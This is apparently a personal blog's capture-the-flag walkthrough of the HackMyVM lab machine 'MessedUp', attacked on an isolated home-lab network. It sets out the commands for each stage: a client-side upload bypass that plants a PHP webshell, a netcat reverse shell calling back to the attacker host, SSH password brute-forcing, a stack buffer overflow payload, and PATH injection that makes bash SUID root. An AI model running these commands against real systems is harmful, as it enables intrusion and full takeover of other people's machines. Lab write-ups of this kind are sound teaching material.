HackMyVM | MessedUp

In this walkthrough, I demonstrate how I obtained complete ownership of MessedUp from HackMyVM
In: HackMyVM, Attack, CTF, Home Lab, Linux, Medium Challenge
ℹ️
I keep all of my distrusted hosts from platforms like HackMyVM on a segmented VLAN -- 10.9.9.0/24 -- that has no internet access

Nmap Results

🚨
You have to be very observant with the Nmap scan results on this box. If you rely on habit, and assume tcp/22 is SSH or tcp/80 is HTTP, you'll quickly find things are not as they seem.
# Nmap 7.95 scan initiated Tue Jan 13 01:29:51 2026 as: /usr/lib/nmap/nmap -Pn -p- --min-rate 2000 -sC -sV -oN nmap-scan.txt 10.9.9.35
Nmap scan report for 10.9.9.35
Host is up (0.00042s latency).
Not shown: 65525 closed tcp ports (reset)
PORT      STATE    SERVICE  VERSION
22/tcp    open     http     SimpleHTTPServer 0.6 (Python 3.7.3)
|_ssh-hostkey: ERROR: Script execution failed (use -d to debug)
|_http-title: Directory listing for /
|_http-server-header: SimpleHTTP/0.6 Python/3.7.3
80/tcp    open     ssh      OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
|   2048 5d:41:2a:c1:2d:3b:6c:78:b3:af:ae:9d:42:fe:88:b8 (RSA)
|   256 3c:e9:64:eb:84:fe:5c:83:94:07:27:6c:12:14:c8:4c (ECDSA)
|_  256 09:9b:2b:18:de:6c:6d:f8:8b:15:df:6c:0f:c0:7c:b2 (ED25519)
111/tcp   open     rpcbind  2-4 (RPC #100000)
| rpcinfo:
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100003  3           2049/udp   nfs
|   100003  3           2049/udp6  nfs
|   100003  3,4         2049/tcp   nfs
|   100003  3,4         2049/tcp6  nfs
|   100005  1,2,3      38828/udp6  mountd
|   100005  1,2,3      45899/udp   mountd
|   100005  1,2,3      49415/tcp   mountd
|   100005  1,2,3      54103/tcp6  mountd
|   100021  1,3,4      36921/udp6  nlockmgr
|   100021  1,3,4      38327/tcp   nlockmgr
|   100021  1,3,4      39681/tcp6  nlockmgr
|   100021  1,3,4      41106/udp   nlockmgr
|   100227  3           2049/tcp   nfs_acl
|   100227  3           2049/tcp6  nfs_acl
|   100227  3           2049/udp   nfs_acl
|_  100227  3           2049/udp6  nfs_acl
2049/tcp  open     nfs      3-4 (RPC #100003)
8080/tcp  open     ftp      vsftpd 2.0.8 or later
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rwxrwxrwx    1 0        0             320 Jan 11  2021 idiot.txt [NSE: writeable]
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to ::ffff:10.6.6.6
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 8
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
34297/tcp open     mountd   1-3 (RPC #100005)
38327/tcp open     nlockmgr 1-4 (RPC #100021)
49415/tcp open     mountd   1-3 (RPC #100005)
52499/tcp open     mountd   1-3 (RPC #100005)
65000/tcp filtered unknown
Service Info: Host: MessedUP; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Jan 13 01:30:35 2026 -- 1 IP address (1 host up) scanned in 43.15 seconds
Plain text

TCP Port Scan

💡
I always start a UDP scan of the target at the same time as my TCP scan. Just one thing less I have to do later if more enumeration is needed.
# Nmap 7.95 scan initiated Tue Jan 13 01:29:51 2026 as: /usr/lib/nmap/nmap -Pn -sU -sV -T3 --top-ports 25 -oN udp-nmap-scan.txt 10.9.9.35
Nmap scan report for 10.9.9.33
Host is up (0.00079s latency).

PORT      STATE         SERVICE      VERSION
68/udp    open|filtered dhcpc
69/udp    open|filtered tftp
111/udp   open          rpcbind      2-4 (RPC #100000)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Jan 13 01:32:05 2026 -- 1 IP address (1 host up) scanned in 133.92 seconds
Plain text

UDP Port Scan

echo -e '10.9.9.35\t\tmessedup.hmv' | sudo tee -a /etc/hosts
Bash

Ad



Service Enumeration

ℹ️
Staying true to my methodology, I'll start with the file servers (as identified by Nmap).

TCP/111

No available NFS mounts



TCP/8080 — FTP

When prompted for password, press ENTER



UDP/69 — TFTP

Download the ZIP File

💡
TFTP is a lightweight session-less file sharing protocol. There's no listing of files, it simply assumes you know which files you want to put or fetch.
tftp messedup.hmv 69 -v -c get 125.zip
Bash
unzip -d 125 125.zip
Bash
Oh, very funny. Nested ZIP archives...



Recursively Unzipping Files

#!/usr/bin/env bash

function find_and_unzip {
  TARGET_ZIP=$1
  PREVIOUS_ZIP=$2
  TARGET_DIR="$PWD/${RANDOM}${RANDOM}"

  /usr/bin/unzip -d "$TARGET_DIR" "$TARGET_ZIP" >/dev/null

  # Clean up previously unzipped file
  # Used with recursion
  if [ -n "$PREVIOUS_ZIP" ] ; then
    rm -f "$PREVIOUS_ZIP" > /dev/null
  fi

  NEXT_FILE=$(/usr/bin/find "$TARGET_DIR" -type f -name '*.zip')
  if [ -n "$NEXT_FILE" ] ; then
    # Make sure the file is a Zip archive
    if [[ $(/usr/bin/file -b --mime-type "$NEXT_FILE") != "application/zip" ]] ; then
      echo "${NEXT_FILE} found, but is not a ZIP archive."
    else
      # Clean up temp dir from previous call
      /usr/bin/cp "$NEXT_FILE" "$PWD"
      /usr/bin/rm -rf "$TARGET_DIR"
  
      # Recursively call the function until all unzipped
      FILE_NAME=$(echo "$NEXT_FILE" | rev | cut -d '/' -f 1 | rev)
      TARGET_ZIP="${PWD}/${FILE_NAME}"

      # Global variable for recursion
      export REMOVE_ON_NEXT="$TARGET_ZIP"
      find_and_unzip "$TARGET_ZIP" "$REMOVE_ON_NEXT"
    fi
  else
    echo "Search for .ZIP file returned 0 results."
    return
  fi
}

ZIP_FILE="$PWD/125.zip"

find_and_unzip "$ZIP_FILE"
Bash

To summarize the source code (see the comments I've added):

  • Start with an initial unzip call to unzip 125.zip
  • Then, use find to search the random output directory for the next .zip
  • If the next .zip found, make sure it is truly a ZIP archive
    • If so, cp the file to the parent directory
    • rm -rf the previous temp directory
    • Store the new ZIP filename in $TARGET_ZIP
    • Store $TARGET_ZIP in $REMOVE_ON_NEXT to indicate we remove on next run
    • Recursively call the find_and_unzip function
I suspect these are TCP ports, so maybe port knocking...?



Port Knocking

Port Knocking | 0xBEN | Notes
Challenge During target enumeration, you find information that suggests if you port knock the seque…
Recall that tcp/65000 was "filtered" in the initial Nmap scan



TCP/65000

Looks potentially like a WordPress instance

Enumerate WordPress

The website is broken due to hard-coded IP address in wp-config.php, I'm certain
💡
We can use a Burp match and replace rule to rewrite the response body with the correct address.
Much better
Clicking on one of the posts, the author username is "skinny3l3phant"



WPScan Enumeration

ℹ️
Recall that we made a match and replace rule in Burp, so we'll proxy the wpscan requests through Burp in order to ensure wpscan can follow links.

Be sure to grab your WPScan API key before running!
wpscan --url http://messedup.hmv:65000 -e \
--proxy http://127.0.0.1:8080 \
--detection-mode aggressive --plugins-detection mixed \
--api-token paste_api_token_here \
--disable-tls-checks \
-o wpscan-out.txt
Bash

Replace "paste_api_token_here"

⚠️
Most of the vulnerabilities found in wpscan-out.txt require authentication or don't have any public exploits available. So, I'm going to do some directory and file enumeration.



Directory and File Enumeration

grep -v '^#' /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt > wordlist.txt
Bash

Filter out comments

ffuf -u http://messedup.hmv:65000/FUZZ -w wordlist.txt
Bash
"/projects" is not a default WordPress directory



Attempt File Upload Bypass

cat << 'EOF' > test.php
<?php phpinfo(); ?>
EOF
Bash

Create "test.php" with simple "phpinfo" call to test RCE

Pop-up indicates we must provide a valid file extension
The pop-up is triggered client side, we can pretty easily bypass this with "curl"
curl -x 'http://127.0.0.1:8080' 'http://messedup.hmv:65000/projects/' -F 'image=@test.php'
Bash

Send the request through Burp for inspection

Easy bypass, validation is only done client side, it seems
Let's get some RCE



Exploit

Unauthenticated File Upload -> RCE

How We Got Here

  1. Anonymous FTP access on tcp/8080 revealed a ZIP file in TFTP server
  2. TFTP, being session-less, allowed us to gather the 125.zip file, which was just a series of recursively nested ZIP files
  3. The final ZIP file in the chain contained a port knocking sequence, which opened tcp/65000
  4. This revealed yet another web server — seemingly WordPress — hosting a non-standard directory — /projects/
  5. This directory contained a simple, unauthenticated file upload application that required image files on the surface, but only performed simple file extension validation on the client side

Key Takeaway: Obscurity is not security.



Webshell

GitHub - WhiteWinterWolf/wwwolf-php-webshell: WhiteWinterWolf’s PHP web shell
WhiteWinterWolf’s PHP web shell. Contribute to WhiteWinterWolf/wwwolf-php-webshell development by creating an account on GitHub.
curl -sLO https://raw.githubusercontent.com/WhiteWinterWolf/wwwolf-php-webshell/refs/heads/master/webshell.php
Bash

Download the webshell

curl -x 'http://127.0.0.1:8080' 'http://messedup.hmv:65000/projects/' -F 'image=@webshell.php'
Bash

Send the request through Burp for inspection

The "nc" version on the target has the "-e" flag, so easy revshell



Reverse Shell

sudo rlwrap nc -lnvp 443
Bash

Start a TCP socket to catch the reverse shell

nc -n 10.6.6.6 443 -e /bin/bash
Bash

Call back to listener



Post-Exploit Enumeration

Operating Environment

OS & Kernel

uname -a && cat /etc/os* ; echo
Linux messedUP 4.19.0-13-686-pae #1 SMP Debian 4.19.160-2 (2020-11-28) i686 GNU/Linux

PRETTY_NAME="Debian GNU/Linux 10 (buster)"
NAME="Debian GNU/Linux"
VERSION_ID="10"
VERSION="10 (buster)"
VERSION_CODENAME=buster
ID=debian
HOME_URL="https://www.debian.org/"
SUPPORT_URL="https://www.debian.org/support"
BUG_REPORT_URL="https://bugs.debian.org/"
Plain text

Current User

uid=33(www-data) gid=33(www-data) groups=33(www-data)

bash: sudo: command not found
Plain text



Users and Groups

Local Users

skinny:x:1000:1000:skinny,,,:/home/skinny:/bin/bash
Plain text

Local Groups

cdrom:x:24:skinny
floppy:x:25:skinny
audio:x:29:skinny
dip:x:30:skinny
video:x:44:skinny
plugdev:x:46:skinny
netdev:x:109:skinny
skinny:x:1000:
Plain text



Network Configurations

Network Interfaces

ens18: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
    link/ether bc:24:11:34:cc:01 brd ff:ff:ff:ff:ff:ff
    inet 10.9.9.35/24 brd 10.9.9.255 scope global dynamic ens18
       valid_lft 5475sec preferred_lft 5475sec
    inet6 fe80::be24:11ff:fe34:cc01/64 scope link 
       valid_lft forever preferred_lft forever
Plain text

Open Ports

tcp   LISTEN 0      80                127.0.0.1:3306              0.0.0.0:*
Plain text



Processes and Services

Interesting Processes


Found using pspy:

2026/01/23 14:47:01 CMD: UID=0     PID=3102   | /usr/sbin/CRON -f 
2026/01/23 14:47:01 CMD: UID=0     PID=3103   | /usr/sbin/CRON -f 
2026/01/23 14:47:01 CMD: UID=0     PID=3104   | /bin/sh -c (python /opt/abuser.py) 
2026/01/23 14:47:01 CMD: UID=0     PID=3105   | python /opt/abuser.py 
2026/01/23 14:47:01 CMD: UID=0     PID=3106   | sh -c rm -rf /var/tmp/skinnyCronJob 
2026/01/23 14:47:01 CMD: UID=0     PID=3107   | python /opt/abuser.py 
2026/01/23 14:47:01 CMD: UID=0     PID=3108   | sh -c mkdir /var/tmp/skinnyCronJob 
2026/01/23 14:47:01 CMD: UID=0     PID=3109   | python /opt/abuser.py 
2026/01/23 14:47:04 CMD: UID=0     PID=3110   | python /opt/abuser.py 
2026/01/23 14:47:04 CMD: UID=0     PID=3111   | sh -c rm -rf /var/tmp/skinnyCronJob 
Plain text



Scheduled Tasks

Interesting Scheduled Tasks

    
Plain text



Interesting Files

/var/www/html/wordpress/wp-config.php

// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'wordpress' );

/** MySQL database username */
define( 'DB_USER', 'wpUser' );

/** MySQL database password */
define( 'DB_PASSWORD', 'wordpress112233' );
PHP

/home/skinny

find /home/skinny -readable 2>/dev/null
Bash
/home/skinny
/home/skinny/.bash_logout
/home/skinny/.bashrc
/home/skinny/importantDocs
/home/skinny/importantDocs/Kerckhoffs method for Vegener cipher_JMD_GIT.py
/home/skinny/.profile
Plain text

/usr/bin/passwordStrengthApp.exe

# Do recursive search for known keywords
grep -Eril 'skinny|(?:skinny)?[3e]l[3e]phant|grumpygeekwrites' / 2>/dev/null
Bash
-rwxrwxr-x 1 root root 15940 Jan 11  2021 /usr/bin/passwordStrengthApp.exe
Plain text



Privilege Escalation

Lateral to Skinny

Binary Analysis

which strings
Bash

"strings" is installed on the target

strings /usr/bin/passwordStrengthApp.exe
Bash
One of these may be the password for "skinny" (or even root)
strings /usr/bin/passwordStrengthApp.exe | grep '\->' | cut -d '>' -f 2 | sed -E 's/^\s{1,}//g'
Bash

Output a list of password for processing

💡
If you try to decode using base64 -d, you'll find that it fails. You'll find that the data is encoded in Base32. You'd also notice this because of the smaller character set in Base32 and that it uses more = padded bytes.
strings /usr/bin/passwordStrengthApp.exe | 
grep '\->' | cut -d '>' -f 2 | 
sed -E 's/^\s{1,}//g' | 
xargs -I {} bash -c 'echo -n "{}" | base32 -d 2>/dev/null || echo {}'
Bash

Pipe to xargs and first try to base32 -d and if fails print with echo

hydra -I -f -V -l skinny -P pw.txt -s 80 ssh://messedup.hmv
Bash
ssh -p 80 skinny@messedup.hmv
Bash



Becoming Root

Binary Analysis

Simple Buffer Overflow Check

find /home/skinny -ls
Bash
428     16 -r-sr-xr-x   1 root     root        15536 Jan 11  2021 /home/skinny/.reload/overspill.obj
Plain text

World-executable with root SUID

32-bit binary (ELF)
Segmentation fault -- I kind of assumed the file name might be indicating a buffer overflow
The application overflows at exactly 36 characters
ASLR is disabled on the host, so a simple stack buffer overflow should be trivial



Transfer File Locally

scp -P 80 skinny@messedup.hmv:/home/skinny/.reload/overspill.obj .
Bash

Copy the binary locally for analysis

Looking at the export functions, we see "read_sensitive_file" which is at address 0x08049228
This function will run cat shadow_backup_sensitiveFile
checksec --file=passwordStrengthApp.exe
Bash
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable     FILE
Partial RELRO   No canary found   NX enabled    PIE enabled     No RPATH   No RUNPATH   80 Symbols        No    0               1               passwordStrengthApp.exe
Plain text

Brief explanation of the output considering ASLR is disabled:

  • Partial RELRO — GOT remains at fixed addresses, so partial RELRO is easier to bypass and GOT overwrite-style attacks are simpler
  • No canary found — With fixed addresses and no canary, classic stack overflows can reliably hijack control flow
  • NX enabled — NX still helps, but stable addresses make building ROP chains much easier because gadget locations never change
  • PIE enabled — Without ASLR, PIE’s main benefit disappears; the binary loads at a predictable base, so all gadget addresses are stable
  • No RPATH — No custom runtime library search path embedded
  • No RUNPATH — No alternative runtime search path for shared libraries
  • 80 symbols — Fixed addresses plus symbols make mapping functions to exact addresses straightforward for exploit development
  • Fortify: No — Library calls like strcpy/sprintf are not automatically replaced with safer, bounds-checked versions
  • Fortified: 0 No extra overflow checks inserted around vulnerable libc functions
  • Fortifiable: 1 — Indicates missed opportunity to auto-harden at least one buffer-using call
Combining the fact that ASLR is disabled on the host, and that checksec shows multiple protections degraded or missing, we're ready to begin exploit development.



Setting up a Quick Test Environment

Configure the VM

Index of /cdimage/archive/13.2.0-live/amd64/iso-hybrid

We can use the "live boot" Debian images to quickly spin up test environments

VM Hardware Configuration:

  • CPU: kvm64
  • Memory: 4096 MiB
  • Hard Disk: 32 GiB (will mount this as persistent storage)
  • CD/DVD: Live boot .iso file
  • NIC: VLAN 666 (same VLAN as Kali)

Boot Order:

Set ".iso" to always boot first

Credentials for Live Boot:

  • Username: user
  • Password: live



Increase Available Storage

Currently, the live-boot environment has "2.0 GiB" of disk space
The disk is mapped at "/dev/sda"
sudo fdisk /dev/sda
Bash

Then, input "n" > "p" > "Enter" > "Enter" > "Enter" > "w" to create a new primary partition

sudo mkfs.ext4 -L persistence /dev/sda1
Bash

Format the new primary partition as "ext4" and label with the name "persistence"

sudo mount /dev/sda1 /mnt
echo "/ union" | sudo tee /mnt/persistence.conf
sudo umount /mnt
Bash
sudo poweroff
Bash

Power off the VM

Restart the VM and press "TAB" to edit Grub options
Before...
After -- Adds "norandmaps" to disable memory protections and "persistence" to mount our disk
Press Enter to boot the VM. If the VM crashes during testing, just edit Grub again the same way when booting back up.
Now, we have plenty of storage, and persistent data



Enable SSH Access

sudo apt clean && sudo apt update && sudo apt install -y ssh
Bash

Install the SSH daemon

sudo systemctl enable --now ssh
Bash

Start the SSH daemon at boot and also start it right now

Copy the binary over to the live-boot session
ℹ️
Kali and the Debian VM are both in the same 10.6.6.0/24 network, with no firewall rules inhibiting access. Plan accordingly for your environment.



Add 32-bit Support

sudo dpkg --add-architecture i386
sudo apt update
sudo apt install gcc-multilib gdb-multiarch libc6:i386 lib32stdc++6
Bash
We got ourselves a segfault



Fuzzing the Application

echo -e "$(for i in {1..35};do printf 'A';done)\x28\x92\x04\x08"
Bash
💡
\x28\x92\x04\x08 is 080409228 in reverse, because we have to factor for Little-endian byte ordering when the program is run.

Effectively, we're going to fill the program memory buffer with 35 A characters. The remaining bytes 08049228 will be written to the EIP register, which will cause the program to execute the function at this memory address -- read_sensitive_file
echo -e "$(for i in {1..35};do printf 'A';done)\x28\x92\x04\x08" > payload
Bash
gdb ./overspill.obj
Bash
(gdb) start < payload
(gdb) next
(gdb) print $eip
Plain text
Start in "main()" takes input "AAAA..." and overwrites EIP with "08049228"



Testing on the Target



Crack Root Hash



Unintended Solve: PATH Injection

💡
Note that cat and shadow_backup_sensitiveFile are referenced in the binary using their relative names. We can inject a false cat binary into our $PATH variable, which will cause it to run as root, as the SUID permissions are not dropped.
cp /bin/bash /tmp/cat
Bash
export PATH="/tmp:$PATH"
Bash
cd /home/skinny
Bash
echo 'chmod u+s /bin/bash' > /home/skinny/shadow_backup_sensitiveFile
Bash
We're running the binary in /home/skinny and using the full path of the binary: /home/skinny/.reload/overspill.obj. When the program executes, it runs cat, which is actually /tmp/cat -- our copy of bash. And, it looks for shadow_backup_sensitiveFile in the current directory, which is just a shell command --chmod u+s /bin/bash.
"euid=0(root)"



Flags

User

E9619156E7290E79C226FBF1451F400A5EA35107
Plain text

Root

54CE6117EBEBCB4F10781C11FD2896ED191F2182
Plain text
Comments
More from 0xBEN
Table of Contents
  1. Nmap Results
  2. Service Enumeration
  3. Exploit
  4. Post-Exploit Enumeration
  5. Privilege Escalation
  6. Flags
Great! You’ve successfully signed up.
Welcome back! You've successfully signed in.
You've successfully subscribed to 0xBEN.
Your link has expired.
Success! Check your email for magic link to sign-in.
Success! Your billing info has been updated.
Your billing was not updated.